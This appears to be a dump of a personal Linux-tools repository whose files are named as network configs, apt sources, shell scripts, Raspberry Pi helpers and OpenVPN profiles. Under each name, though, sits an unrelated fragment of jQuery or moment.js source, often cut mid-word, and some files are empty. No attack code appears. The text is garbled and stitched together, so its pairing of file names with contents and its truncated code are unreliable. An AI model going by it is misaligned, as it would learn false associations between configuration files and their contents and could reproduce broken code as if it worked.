54 | jQuery.event.add( this, "beforeactivate._change", function( e ) {
55 | var elem = e.target;
56 |
57 | if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) {
58 | jQuery.event.add( elem, "change._change", function( event ) {
59 | if ( this.parentNode && !event.isSimulated && !event.isTrigger ) {
60 | jQuery.event.simulate( "change", this.parentNode, event, true );
61 | }
62 | })
--------------------------------------------------------------------------------
/oldies/assets/NetworkManager-managed.conf:
--------------------------------------------------------------------------------
1 | pes, fn )
2 | fn = selector;
3 | data = selector = undefine
--------------------------------------------------------------------------------
/oldies/assets/NetworkManager.conf:
--------------------------------------------------------------------------------
1 | d = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName( tag || "*" ) :
2 | typeof context.querySelectorAll !== strundefined ? context.querySelectorAll( tag || "*" ) :
3 | undefined;
4 |
5 | if ( !found ) {
6 | for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) {
7 | if ( !tag || jQuery.nodeName( elem, tag ) ) {
8 | found.push( elem );
9 |
--------------------------------------------------------------------------------
/oldies/assets/add-apt-repository:
--------------------------------------------------------------------------------
1 | .checked = src.checked;
2 |
3 | // IE6-7 get confused and end up setting the value of a cloned
4 | // checkbox/radio button to an empty string instead of "on"
5 | if ( dest.value !== src.value ) {
6 | dest.value = src.value;
7 | }
8 |
9 | // IE6-8 fails to return the selected option to the default selected
10 | // state when cloning options
11 | } else if ( nodeName === "option" ) {
12 | dest.defaultSelected = dest.selected = src.defaultSelected;
13 |
14 | // IE6-8 fails to set the defaultValue to the correct value when
15 | // cloning other types of input fields
16 | } else if ( nodeName === "input" || nodeName === "textarea" ) {
17 | dest.defaultValue = src.defaultValue;
18 | }
19 | }
20 |
21 | jQuery.extend({
22 | clone: function( elem, dataAndEvents, deepDataAndEvents ) {
23 | var destElements, node, clone, i, srcElements,
24 | inPa
--------------------------------------------------------------------------------
/oldies/assets/add-apt-repository-ubuntu:
--------------------------------------------------------------------------------
1 | jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) {
2 | elem.removeChild( tbody );
3 | }
4 | }
5 | }
6 |
7 | jQuery.merge( nodes, tmp.childNodes );
8 |
9 | // Fix #12392 for WebKit and IE > 9
10 | tmp.textContent = "";
11 |
12 | // Fix #12392 for oldIE
13 | while ( tmp.firstChild ) {
14 | tmp.removeChild( tmp.firstChild );
15 | }
16 |
17 | // Remember the top-level container for proper cleanup
18 | tmp = safe.lastChild;
19 | }
20 | }
21 | }
22 |
23 | // Fix #11356: Clear elements from fragment
24 | if ( tmp ) {
25 | safe.removeChild( tmp );
26 | }
27 |
28 | // Reset defaultChecked for any radios and checkboxes
29 | // about to be appended to the DOM in IE 6/7 (#8060)
30 | if ( !support.appendChecked ) {
31 | jQuery.grep( getAll( nodes,
--------------------------------------------------------------------------------
/oldies/assets/htoprc:
--------------------------------------------------------------------------------
1 | ngth = gotoEnd ? animation.tweens.length : 0;
2 | if ( stopped ) {
3 | return this;
4 | }
5 | stopped = true;
6 | for ( ; index < length ; index++ ) {
7 | animation.tweens[ index ].run( 1 );
8 | }
9 |
10 | // resolve when we played the last frame
11 | // otherwise, reject
12 | if ( gotoEnd ) {
13 | deferred.resolveWith( elem, [ animation, gotoEnd ] );
14 | } else {
15 | deferred.rejectWith( elem, [ animation, gotoEnd ] );
16 | }
17 | return this;
18 | }
19 | }),
20 | props = animation.props;
21 |
22 | propFilter( props, animation.opts.specialEasing );
23 |
24 | for ( ; index < length ; index++ ) {
25 | result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
26 | if ( result ) {
27 | r
--------------------------------------------------------------------------------
/oldies/assets/sources.list:
--------------------------------------------------------------------------------
1 | && data[ index ].stop ) {
2 | stopQueue( data[ index ] );
3 | }
4 | } else {
5 | for ( index in data ) {
6 | if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
7 | stopQueue( data[ index ] );
8 | }
9 | }
10 | }
11 |
12 | for ( index = timers.length; index--; ) {
13 | if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
14 | timers[ index ].anim.stop( gotoEnd );
15 | dequeue = false;
16 | timers.splice( index, 1 );
17 | }
18 | }
19 |
20 | // start the next in the queue if the last step wasn't forced
21 | // timers currently will call their complete callbacks, which will dequeue
22 | // but only if they were gotoEnd
23 | if
--------------------------------------------------------------------------------
/oldies/assets/userdir.conf:
--------------------------------------------------------------------------------
1 | .createElement("select");
2 | opt = select.appendChild( document.createElement("option") );
3 | input = div.getElementsByTagName("input")[ 0 ];
4 |
5 | a.style.cssText = "top:1px";
6 |
7 | // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)
8 | support.getSetAttribute = div.className !== "t";
9 |
10 | // Get the style information from getAttribute
11 | // (IE uses .cssText instead)
12 | support.style = /top/.test( a.getAttribute("style") );
13 |
14 | // Make sure that URLs aren't mani
--------------------------------------------------------------------------------
/oldies/assets/whonix-interfaces:
--------------------------------------------------------------------------------
1 | p" ) ) ) {
2 |
3 | // Get the specific value for the option
4 | value = jQuery( option ).val();
5 |
6 | // We don't need an a
--------------------------------------------------------------------------------
/oldies/assets/whonix-resolv.conf:
--------------------------------------------------------------------------------
1 | for explanation of this
--------------------------------------------------------------------------------
/oldies/bash-helper-scripts/terminal-emulator/x-terminal-emulator:
--------------------------------------------------------------------------------
1 | ions = {};
2 |
3 | var formatToken
--------------------------------------------------------------------------------
/oldies/bash-helper-scripts/xclip/xclip_alias:
--------------------------------------------------------------------------------
1 | n (token, config) {
2 | if (!hasOwnProp(regexes, token)) {
3 | return new
--------------------------------------------------------------------------------
/oldies/cleaning-scripts/remove-old-kernels:
--------------------------------------------------------------------------------
1 | locale).match(formattingTokens) || [];
2 |
3 | for (i = 0; i < tokens.length; i++) {
4 | token = tokens[i];
5 | parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0];
6 | if (parsedInput) {
7 | skipped = string.substr(0, string.indexOf(parsedInput));
8 | if (skipped.length > 0) {
9 | getParsingFlags(config).unusedInput.push(skipped);
10 | }
11 | string = string.slice(string.indexOf(parsedInput) + parsedInput.length);
12 | totalParsedInputLength += parsedInput.length;
13 | }
14 | // don't parse if it's not a known token
15 | if (formatTokenFunctions[token]) {
16 | if (parsedInput) {
17 | getParsingFlags(config).empty = false;
18 | }
19 | else {
20 | getParsingFlags(config).unusedTokens.push(token);
21 | }
22 | addTimeToArrayFromToken(token, parsedInput, config);
23 | }
24 | else if (config._strict && !parsedInput) {
25 | getParsingFlags(config).unusedTokens.push(token);
26 | }
27 | }
28 |
29 | // add remaining unparsed input length to the string
30 | getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength;
31 | if (string.length > 0) {
32 | getParsingFlags(config).unusedInput.push(string);
33 | }
34 |
35 | // clear _12h flag if hour is <= 12
36 | if (getParsingFlags(config).bigHour === true &&
37 | config._a[HOUR] <= 12 &&
38 | config._a[HOUR] > 0) {
39 | getParsingFlags
--------------------------------------------------------------------------------
/oldies/cleaning-scripts/solid-scan:
--------------------------------------------------------------------------------
1 | n pickBy('isBefore', args);
2 | }
3 |
4 | function max () {
5 | var args = [].slice.call(arguments, 0);
6 |
7 | return pickBy('isAfter', args);
8 | }
9 |
10 | function Duration (duration) {
11 | var normalizedInput = normalizeObjectUnits(duration),
12 | years = normalizedInput.year || 0,
13 | quarters = normalizedInput.quarter || 0,
14 | months = normalizedInput.month || 0,
15 | weeks = normalizedInput.week || 0,
16 | days = normalizedInput.day || 0,
17 | hours = normalizedInput.hour || 0,
18 | minutes = normalizedInput.minute || 0,
19 | seconds = normalizedInput.second || 0,
20 | milliseconds = normalizedInput.millisecond || 0;
21 |
22 | // representation for dateAddRemove
23 | this._milliseconds = +milliseconds +
24 | seconds * 1e3 + // 1000
25 | minutes * 6e4 + // 1000 * 60
26 | hours * 36e5; // 1000 * 60 * 60
27 | // Because of dateAddRemove treats 24 hours as different from a
28 | // day when working around DST, we need to store them separately
29 | this._days = +days +
30 | weeks * 7;
31 | // It is impossible translate months into days without knowing
32 | // which months you are are talking about, so we have to store
33 | // it separately.
34 | this._months = +months +
35 | quarters * 3 +
36 | years * 12;
37 |
38 | this._data = {};
39 |
40 | this._locale = locale_locales__getLocale();
41 |
42 | this._bubble();
43 | }
44 |
45 | function isDuration (obj) {
46 | return obj instanceof Duration;
47 | }
48 |
49 | function offset (token, separator) {
50 | addFormatToken(token, 0, 0, function () {
51 | var offset = this.utcOffset();
52 | var sign = '+';
53 | if (offset < 0) {
54 | offset = -offset;
55 | sign = '-';
56 | }
57 | return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2);
58 | });
59 | }
60 |
61 | offset('Z', ':');
62 | offset('ZZ', '');
63 |
64 | // PARSING
65 |
66 | addRegexToken('Z', matchOffset);
67 | addRegexToken('ZZ', matchOffset);
68 | addParseToken(['Z', 'ZZ'], function (input, array, config) {
69 | config._useUTC = true;
70 | config._tzm = offsetFromString(input);
71 | });
72 |
73 | // HELPERS
74 |
75 | // timezone chunker
76 | // '+10:00' > ['10', '00']
77 | // '-1530' > ['-15', '30']
78 | var chunkOffset = /([\+\-]|\d\d)/gi;
79 |
80 | function offsetFromString(string) {
81 | var matches = ((string || '').match(matchOffset) || []);
82 | var chunk = matches[matches.length
--------------------------------------------------------------------------------
/oldies/configuration-scripts/assets/whonix-interfaces:
--------------------------------------------------------------------------------
1 |
2 | // matching against regexp is expensive, do it on demand
3 | match = null,
4 | sign,
5 |
--------------------------------------------------------------------------------
/oldies/configuration-scripts/assets/whonix-resolv.conf:
--------------------------------------------------------------------------------
1 | days = duration
--------------------------------------------------------------------------------
/oldies/configuration-scripts/check-read-write-speed:
--------------------------------------------------------------------------------
1 | // difference in months
2 | var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()),
3 | // b is in (anchor - 1 month, anchor + 1 month)
4 | anchor = a.clone().add(wholeMonthDiff, 'months'),
5 | anchor2, adjust;
6 |
7 | if (b - anchor
--------------------------------------------------------------------------------
/oldies/configuration-scripts/dkms-mt7601.PKGBUILD:
--------------------------------------------------------------------------------
1 | this.day() || 7 : this.day(this.day() % 7 ? input : input - 7);
2 | }
3 |
4 | addFormatToken('H', ['HH', 2], 0, 'hour');
5 | addFormatToken('h', ['hh', 2], 0, function () {
6 | return this.hours() % 12 || 12;
7 | });
8 |
9 | function meridiem (token, lowercase) {
10 | addFormatToken(token, 0, 0, function () {
11 | return this.localeData().meridiem(this.hours(), this.minutes(), lowercase);
12 | });
13 | }
14 |
15 | meridiem('a', true);
16 | meridiem('A', false);
17 |
18 | // ALIASES
19 |
20 | addUnitAlias('hour', 'h');
21 |
22 | // PARSING
23 |
24 | function matchMeridiem (isStrict, locale) {
25 | return locale._meridiemParse;
26 | }
27 |
28 | addRegexToken('a', matchMeridiem);
29 | addRegexToken('A', matchMeridiem);
30 | addRegexToken('H', match1to2);
31 | addRegexToken('h', match1to2);
32 | addRegexToken('HH', match1to2, match2);
33 | addRegexToken('hh', match1to2, match2);
34 |
35 | addParseToken(['H', 'HH'], HOUR);
36 | addParseToken(['a', 'A'], function (input, array, config) {
37 | config._isPm = config._locale.isPM(input);
38 | config._meridiem = input;
39 | });
40 | addParseToken(['h', 'hh'], function (input, array, config) {
41 | array[HOUR] = toInt(input);
42 | getParsingFlags(config).bigHour = true;
43 | });
44 |
45 | // LOCALES
46 |
47 | function localeIsPM (input) {
48 | // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays
49 | // Using charAt should be more compatible.
50 | return ((input + '').toLowerCase().charAt(0) === 'p');
51 | }
52 |
53 | var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i;
54 | function localeMeridiem (hours, minutes, isLower) {
55 |
--------------------------------------------------------------------------------
/oldies/configuration-scripts/install-apt-fast:
--------------------------------------------------------------------------------
1 | // MOMENTS
2 |
3 | var getSetMillis
--------------------------------------------------------------------------------
/oldies/configuration-scripts/lcd-essentials:
--------------------------------------------------------------------------------
1 | fix) {
2 | var locale = this.localeData();
3 | var output = duration_humanize__relativeTime(this, !withSuffix, locale);
4 |
5 | if (withSuffix) {
6 | output = locale.pastFuture(+this, output);
7 | }
8 |
9 | return locale.postformat(output);
10 | }
11 |
12 | v
--------------------------------------------------------------------------------
/oldies/configuration-scripts/setup-lcd-3.5:
--------------------------------------------------------------------------------
1 | imports
2 |
3 | addFormatToken('X', 0, 0, 'unix');
4 | addFormatToken('x', 0, 0, 'valueOf');
5 |
6 | // PARSING
7 |
8 | addRegexToken('x', matchSigned);
9 | addRegexToken('X', matchTimestamp);
10 | addParseToken('X', function
--------------------------------------------------------------------------------
/oldies/configuration-scripts/setup-screenfetch:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/oldies/configuration-scripts/whonix-url:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/oldies/git-helper-scripts/test-github:
--------------------------------------------------------------------------------
1 | ,
2 |
3 | // For internal use only.
4 | // Behaves like an Array's method, not like a jQuery method.
5 | push: core_push,
6 | sort: [].sort,
7 | splice: [].splice
8 | };
9 |
10 | // Give the init function the jQuery prototype for later instantiation
11 | jQuery.fn.init.prototype = jQuery.fn;
12 |
13 | jQuery.extend = jQuery.fn.extend = function() {
14 | var src, copyIsArray, copy, name, options, clone,
15 | target = arguments[0] || {},
16 | i = 1,
17 | length = arguments.length,
18 | deep = false;
19 |
20 | // Handle a deep copy situation
21 | if ( typeof target === "boolean" ) {
22 | deep = target;
23 | target = arguments[1] || {};
24 | // skip the boolean and the target
25 | i = 2;
26 | }
27 |
28 | // Handle case when target is a string or something (possible in deep copy)
29 | if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
30 | target = {};
31 | }
32 |
33 | // extend jQuery itself if only one argument is passed
34 | if ( length === i ) {
35 | target = this;
36 | --i;
37 | }
38 |
39 | for ( ; i < length; i++ ) {
40 | // Only deal with non-null/undefined values
41 | if ( (options = arguments[ i ]) != null ) {
42 | // Extend the base object
43 | for ( name in options ) {
44 | src = target[ name ];
45 | copy = options[ name ];
46 |
47 | // Prevent never-ending loop
48 | if ( target === copy ) {
49 | continue;
50 | }
51 |
52 | // Recurse if we're merging plain objects or arrays
53 | if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
54 | if ( copyIsArray ) {
55 | copyIsArray = false;
56 | clone = src && jQuery.isArray(src) ? src : [];
57 |
58 | } else {
59 | clone = src && jQuery.isPlainObject(src) ? src : {};
60 | }
61 |
62 | // Never move original objects, clone them
63 | target[ name ] = jQuery.extend( deep, clone, copy );
64 |
65 | // Don't bring in undefined values
66 | } else if ( copy !== undefined ) {
67 | target[ name ] = copy;
68 | }
69 | }
70 | }
71 | }
72 |
73 | // Return the modified object
74 | return target;
75 | };
76 |
77 | jQuery.extend({
78 | noConflict: function( deep ) {
79 | if ( window.$ === jQuery ) {
80 | window.$ = _$;
81 | }
82 |
83 | if ( deep && window.jQuery === jQuery ) {
84 | window.jQuery = _jQuery;
85 | }
86 |
87 | r
--------------------------------------------------------------------------------
/oldies/in-progress/create-newuser-INCOMPLETE.sh:
--------------------------------------------------------------------------------
1 | ell
2 | if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
3 | return false;
4 | }
5 |
6 | try {
7 | // Not own constructor property must be Object
8 | if ( obj.constructor &&
9 | !core_hasOwn.call(obj, "constructor") &&
10 | !core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
11 | return false;
12 | }
13 | } catch ( e ) {
14 | // IE8,9 Will throw exceptions on certain host objects #9897
15 | return false;
16 | }
17 |
18 | // Own properties are enumerated firstly, so to speed up,
19 | // if last one is own, then all properties are own.
20 |
21 | var key;
22 | for ( key in obj ) {}
23 |
24 | return key === undefined || core_hasOwn.call( obj, key );
25 | },
26 |
27 | isEmptyObject: function( obj ) {
28 | var name;
29 | for ( name in obj ) {
30 | return false;
31 | }
32 | return true;
33 | },
34 |
35 | error: function( msg ) {
36 | throw new Error( msg );
37 | },
38 |
39 | // data: string of html
40 | // context (optional): If specified, the fragment will be created in this context, defaults to document
41 | // keepScripts (optional): If true, will include scripts passed in the html string
42 | parseHTML: function( data, context, keepScripts ) {
43 | if ( !data || typeof data !== "string" ) {
44 | return null;
45 | }
46 | if ( typeof context === "boolean" ) {
47 | keepScripts = context;
48 | context = false;
49 | }
50 | context = context || document;
51 |
52 | var parsed = rsingleTag.exec( data ),
53 | scripts = !keepScripts && [];
54 |
55 | // Single tag
56 | if ( parsed ) {
57 | return [ context.createElement( parsed[1] ) ];
58 | }
59 |
60 | parsed = jQuery.buildFragment( [ data ], context, scripts );
61 | if ( scripts ) {
62 | jQuery( scripts ).remove();
63 | }
64 | return jQuery.merge( [], parsed.childNodes );
65 | },
66 |
67 | parseJSON: function( data ) {
68 | // Attempt to parse using the native JSON parser first
69 | if ( window.JSON && window.JSON.parse ) {
70 | return window.JSON.parse( data );
71 | }
72 |
73 | if ( data === null ) {
74 | return data;
75 | }
76 |
77 | if ( typeof data === "string" ) {
78 |
79 |
--------------------------------------------------------------------------------
/oldies/in-progress/enable-autologin-INCOMPLETE.sh:
--------------------------------------------------------------------------------
1 | i ], args );
2 |
3 | if ( value === false ) {
4 | break;
5 | }
6 | }
7 | } else {
8 | for ( i in obj ) {
9 | value = callback.apply(
--------------------------------------------------------------------------------
/oldies/in-progress/raspberry-pi/forceWifi:
--------------------------------------------------------------------------------
1 | *
2 | * Possible options:
3 | *
4 | * once: will ensure the callback list can only be fired once (like a Deferred)
5 | *
6 | * memory: will keep track of p
--------------------------------------------------------------------------------
/oldies/in-progress/raspberry-pi/led_show.py:
--------------------------------------------------------------------------------
1 | ;
2 | },
3 | // Call all callbacks with the given context and arguments
4 | fireWith: function( context, args ) {
5 | args = args || [];
6 | args = [ context, args.slice ? args.slice() : args ];
7 | if ( list && ( !fired || stack ) ) {
8 | if ( firing ) {
9 | stack.push( args );
10 | } else {
11 | fire( args );
12 | }
13 | }
14 | return this;
15 | },
16 | // Call all the callbacks with the given arguments
17 | fire: function() {
18 | self.fireWith( this, arguments );
19 | return this;
20 | },
21 | // To know if the callbacks have already been called at least once
22 | fired: function() {
23 | return !!fired;
24 | }
25 | };
26 |
27 | return self;
28 | };
29 | jQuery.extend({
30 |
31 | Deferred: function( func ) {
32 | var tuples = [
33 | // action, add listener, listener list, final state
34 | [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
35 | [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
36 | [ "notify", "progress", jQuery.Callbacks("memory") ]
37 | ],
38 | state = "pending",
39 | promise = {
40 | state: function() {
41 | return state;
42 | },
43 | always: function() {
44 | deferred.done( arguments ).fail( arguments );
45 | return this;
46 | },
47 | then: function( /* fnDone, fnFail, fnProgress */ ) {
48 | var fns = arguments;
49 | return jQuery.Deferred(function( newDefer ) {
50 | jQuery.each( tuples, function( i, tuple ) {
51 | var action = tuple[ 0 ],
52 | fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
53 | // deferred[ done | fail | progress ] for forwarding actions to newDefer
54 | deferred[ tuple[1] ](function() {
55 | var returned = fn && fn.apply( this, arguments );
56 | if ( returned && jQuery.isFunction( returned.promise ) ) {
57 | returned.promise()
58 | .done( newDefer.resolve )
59 | .fail( newDefer.reject )
60 | .progress( newDefer.notify );
61 | } else {
62 | newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );
63 | }
64 | });
65 | });
66 | fns = null;
67 | }).promise();
68 | },
69 | // Get a promise for this deferred
70 | // If obj is provided, the promise aspect is added to the object
71 | promise: function( obj ) {
72 | return obj != null ? jQuery.extend( obj, promise ) : promise;
73 | }
74 | },
75 | deferred = {};
76 |
77 | // Keep pipe for back-compat
78 | promise.pipe = promise.then;
79 |
80 | // Add list-specific methods
81 | jQuery.each( tuples, function( i, tuple ) {
82 | var list = tuple[ 2 ],
83 | stateString = tuple[ 3 ];
84 |
85 | // promise[ done | fail | progress
--------------------------------------------------------------------------------
/oldies/in-progress/raspberry-pi/setup-pifacedigital:
--------------------------------------------------------------------------------
1 | deferred.resolveWith( contexts, values );
2 | }
3 | };
4 | },
5 |
6 | progressValues, progressContexts, resolveContexts;
7 |
8 | // add listeners to Deferred subordinates; treat others as resolved
9 | if ( length > 1 ) {
10 | progressValues = new Array( length );
11 | progressContexts = new Array( length );
12 | resolveContexts = new Array( length );
13 | for ( ; i < length; i++ ) {
14 | if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
15 | resolveValues[ i ].promise()
16 | .done( updateFunc( i, resolveContexts, resolveValues ) )
17 | .fail
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Canada.ovpn:
--------------------------------------------------------------------------------
1 | {
2 | support.deleteExpando = false;
3 | }
4 |
5 | // Check if we can trust getAttribute("value")
6 | input = document.createElement("input");
7 | input.setAttribute( "value", "" );
8 | support.input = input.getAttribute( "value" ) === "";
9 |
10 | // Check if an input maintains its value after becoming a radio
11 | input.value = "t";
12 | input.setAttribute( "type", "radio" );
13 | support.radioValue = input.value === "t";
14 |
15 | // #11217 - WebKit loses check when the name is after the checked attribute
16 | input.setAttribute( "checked", "t" );
17 | input.setAttribute( "name", "t" );
18 |
19 | fragment = document.createDocumentFragment();
20 | fragment.appendChild( input );
21 |
22 | // Check if a disconnected checkbox will retain its checked
23 | // value of true after appended to the DOM (IE6/7)
24 | support.appendChecked = input.checked;
25 |
26 | // WebKit doesn't clone checked state correctly in fragments
27 | support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked;
28 |
29 | // Support: IE<9
30 | // Opera does not clone events (and typeof div.attachEvent === undefined).
31 | // IE9-10 clones events bound via attachEvent, but they don't trigger with .click()
32 | if ( div.attachEvent ) {
33 | div.attachEvent( "onclick", function() {
34 | support.noCloneEvent = false;
35 | });
36 |
37 | div.cloneNode( true ).click();
38 | }
39 |
40 | // Support: IE<9 (lack submit/change bubble), Firefox 17+ (lack focusin event)
41 | // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP), test/csp.php
42 | for ( i in { submit: true, change: true, focusin: true }) {
43 | div.setAttribute( eventName = "on" + i, "t" );
44 |
45 | support[ i + "Bubbles" ] = eventName in window || div.attributes[ eventName ].expando === false;
46 | }
47 |
48 | div.style.backgroundClip = "content-box";
49 | div.cloneNode( true ).style.backgroundClip = "";
50 | support.clearCloneStyle = div.style.backgroundClip === "content-box";
51 |
52 | // Run tests that need a body at doc ready
53 | jQuery(function() {
54 | var container, marginDiv, tds,
55 | divReset = "padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",
56 | body = document.getElementsByTagName("body")[0];
57 |
58 | if ( !body ) {
59 | // Return for frameset docs that don't have a body
60 | return;
61 | }
62 |
63 | container = document.createElement("div");
64 | container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px";
65 |
66 | body.appendChild( container ).appendChild( div );
67 |
68 | // Support: IE8
69 | // Check if table cells still have offsetWidth/Height when they are set
70 | // to display:none and there are still other visible table cells in
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/France.ovpn:
--------------------------------------------------------------------------------
1 | width of container. (#3333)
2 | // Fails in WebKit before Feb 2011 nightlies
3 | // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
4 | marginDiv = div.appendChild( document.createElement("div") );
5 | marginDiv.style.cssText = div.style.cssText = divReset;
6 | marginDiv.style.marginRight = marginDiv.style.width = "0";
7 | div.style.width = "1px";
8 |
9 | support.reliableMarginRight =
10 | !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight );
11 | }
12 |
13 | if ( typeof div.style.zoom !== core_strundefined ) {
14 | // Support: IE<8
15 | // Check if natively block-level elements act like inline-block
16 | // elements when setting their display to 'inline' and giving
17 | // them layout
18 | div.innerHTML = "";
19 | div.style.cssText = divReset + "width:1px;padding:1px;display:inline;zoom:1";
20 | support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 );
21 |
22 | // Support: IE6
23 | // Check if elements with layout shrink-wrap their children
24 | div.style.display = "block";
25 | div.innerHTML = "";
26 | div.firstChild.style.width = "5px";
27 | support.shrinkWrapBlocks = ( div.offsetWidth !== 3 );
28 |
29 | if ( support.inlineBlockNeedsLayout ) {
30 | // Prevent IE 6 from affecting layout for positioned elements #11048
31 | // Prevent IE from shrinking the body in IE 7 mode #12869
32 | // Support: IE<8
33 | body.style.zoom = 1;
34 | }
35 | }
36 |
37 | body.removeChild( container );
38 |
39 | // Null elements to avoid leaks in IE
40 | container = div = tds = marginDiv = null;
41 | });
42 |
43 | // Null elements to avoid leaks in IE
44 | all = select = fragment = opt = a = input = null;
45 |
46 | return support;
47 | })();
48 |
49 | var rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/,
50 | rmultiDash = /([A-Z])/g;
51 |
52 | function internalData( elem, name, data, pvt /* Internal Use Only */ ){
53 | if ( !jQuery.acceptData( elem ) ) {
54 | return;
55 | }
56 |
57 | var thisCache, ret,
58 | internalKey = jQuery.expando,
59 | getByName = typeof name === "string",
60 |
61 | // We have to handle DOM nodes and JS objects differently because IE6-7
62 | // can't GC object references properly across the DOM-JS boundary
63 | isNode = elem.nodeType,
64 |
65 | // Only DOM nodes need the global jQuery cache; JS object data is
66 | // attached directly to the object so GC can occur automatically
67 | cache = isNode ? jQuery.cache : elem,
68 |
69 | // Only defining an ID for JS objects if its cache already exists allows
70 | // the code to shortcut on the same path as a DOM node with no cache
71 | id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;
72 |
73 | // Avoid doing any more work than we need to when trying to get data on an
74 | // object that ha
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Germany.ovpn:
--------------------------------------------------------------------------------
1 | for null|undefined property data
2 | if ( ret == null ) {
3 |
4 | // Try to find the camelCased property
5 | ret = thisCache[ jQuery.camelCase( name ) ];
6 | }
7 | } else {
8 | ret = thisCache;
9 | }
10 |
11 | return ret;
12 | }
13 |
14 | function internalRemoveData( elem, name, pvt ) {
15 | if ( !jQuery.acceptData( elem ) ) {
16 | return;
17 | }
18 |
19 | var i, l, thisCache,
20 | isNode = elem.nodeType,
21 |
22 | // See jQuery.data for more information
23 | cache = isNode ? jQuery.cache : elem,
24 | id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
25 |
26 | // If there is already no cache entry for this object, there is no
27 | // purpose in continuing
28 | if ( !cache[ id ] ) {
29 | return;
30 | }
31 |
32 | if ( name ) {
33 |
34 | thisCache = pvt ? cache[ id ] : cache[ id ].data;
35 |
36 | if ( thisCache ) {
37 |
38 | // Support array or space separated string names for data keys
39 | if ( !jQuery.isArray( name ) ) {
40 |
41 | // try the string as a key before any manipulation
42 | if ( name in thisCache ) {
43 | name = [ name ];
44 | } else {
45 |
46 | // split the camel cased version by spaces unless a key with the spaces exists
47 | name = jQuery.camelCase( name );
48 | if ( name in thisCache ) {
49 | name = [ name ];
50 | } else {
51 | name = name.split(" ");
52 | }
53 | }
54 | } else {
55 | // If "name" is an array of keys...
56 | // When data is initially created, via ("key", "val") signature,
57 | // keys will be converted to camelCase.
58 | // Since there is no way to tell _how_ a key was added, remove
59 | // both plain key and camelCase key. #12786
60 | // This will only penalize the array argument path.
61 | name = name.concat( jQuery.map( name, jQuery.camelCase ) );
62 | }
63 |
64 | for ( i = 0, l = name.length; i < l; i++ ) {
65 | delete thisCache[ name[i] ];
66 | }
67 |
68 | // If there is no data left in the cache, we want to continue
69 | // and let the cache object itself get destroyed
70 | if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) {
71 | return;
72 | }
73 | }
74 | }
75 |
76 | // See jQuery.data for more information
77 | if ( !pvt ) {
78 | delete cache[ id ].data;
79 |
80 | // Don't destroy the parent cache unless the internal data object
81 | // had been the only thing left in it
82 | if ( !isEmptyDataObject( cache[ id ] ) ) {
83 | return;
84 | }
85 | }
86 |
87 | // Destroy the cache
88 | if ( isNode ) {
89 | jQuery.cleanData( [ elem ], true );
90 |
91 | // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)
92 | } else if ( jQuery.support.deleteExpando || cache != cache.window ) {
93 | delete cache[ id ];
94 |
95 | // When all else fails, null
96 | } else {
97 | cache[ id ] = null;
98 | }
99 | }
100 |
101 | jQuery.extend({
102 | cache: {},
103 |
104 | // Unique for each copy of jQuery on the page
105 | // No
--------------------------------------------------------------------------------
/oldies/ivpn-setup/ivpn-openvpn-config/Hong Kong.ovpn:
--------------------------------------------------------------------------------
1 | elem = this[0],
2 | i = 0,
3 | data = null;
4 |
5 | // Gets all values
6 | if ( key === undefined ) {
7 | if ( this.length ) {
8 | data = jQuery.data( elem );
9 |
10 | if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {
11 | attrs = elem.attributes;
12 | for ( ; i < attrs.length; i++ ) {
13 | name = attrs[i].name;
14 |
15 | if ( !name.indexOf( "data-" ) ) {
16 | name = jQuery.camelCase( name.slice(5) );
17 |
18 | dataAttr( elem, name, data[ name ] );
19 | }
20 | }
21 | jQuery._data( elem, "parsedAttrs", true );
22 | }
23 | }
24 |
25 | return data;
26 | }
27 |
28 | // Sets multiple values
29 | if ( typeof key === "object" ) {
30 | return this.each(function() {
31 | jQuery.data( this, key );
32 | });
33 | }
34 |
35 | return jQuery.access( this, function( value ) {
36 |
37 | if ( value === undefined ) {
38 | // Try to fetch any internally stored data first
